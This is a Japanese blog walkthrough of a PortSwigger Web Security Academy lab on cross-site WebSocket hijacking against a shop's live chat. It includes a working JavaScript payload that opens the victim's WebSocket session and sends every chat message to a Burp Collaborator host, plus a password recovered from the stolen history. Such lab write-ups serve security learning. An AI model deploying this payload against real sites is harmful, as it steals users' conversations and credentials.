Shikata Ga Nai

Private? There is no such things.

Cross-site WebSocket hijackingをやってみた

Hello there, ('ω')ノ

 

クロスサイトWebSocketハイジャックを。

オンラインショップには、ライブチャット機能があって。

JavaScriptのペイロードで、WebSocketハイジャック攻撃して。

チャット履歴からアカウント情報を盗みだせとのことで。

まずは、メッセージを送信して。

 

f:id:ThisIsOne:20210428102512p:plain

 

動作確認を。

 

f:id:ThisIsOne:20210428102536p:plain

 

チャットのやりとりは、Wensocketsでハンドシェイクが確認できて。

 

f:id:ThisIsOne:20210428102631p:plain

 

また、リクエストには CSRFトークンは見当たらず。

 

f:id:ThisIsOne:20210428113026p:plain

 

コラボレータを起動して、ペイロードをコピーして。

 

f:id:ThisIsOne:20210428104019p:plain

 

WebSocketハンドシェイクのプロトコルをwss://に変更して。

エクスプロイトサーバに下記のスクリプトを挿入してView exploitを。

 

<script>
websocket = new WebSocket('wss://ac261f5c1feb5f8c807a8b1c00ce00dd.web-security-academy.net/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY");
}
function handleReply(event) {
fetch('https://dm3h6tlo94nbl0oha2mr7g1u6lcb00.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
}
</script>

 

f:id:ThisIsOne:20210428104407p:plain


コラボレータをみるとチャットの履歴が取得されて。

別ユーザのやりとりも確認できて。

 

f:id:ThisIsOne:20210428104551p:plain

 

メッセージをデコードして内容を確認して。

 

f:id:ThisIsOne:20210428104637p:plain

 

パスワードに関するメッセージを。

 

f:id:ThisIsOne:20210428104835p:plain

 

デコードすると下記がわかって。

 8x6oyzo4l30fewavymxq

 

f:id:ThisIsOne:20210428104957p:plain

 

carlosでログインしてみると。

 

f:id:ThisIsOne:20210428105050p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210428105109p:plain

 

Best regards, (^^ゞ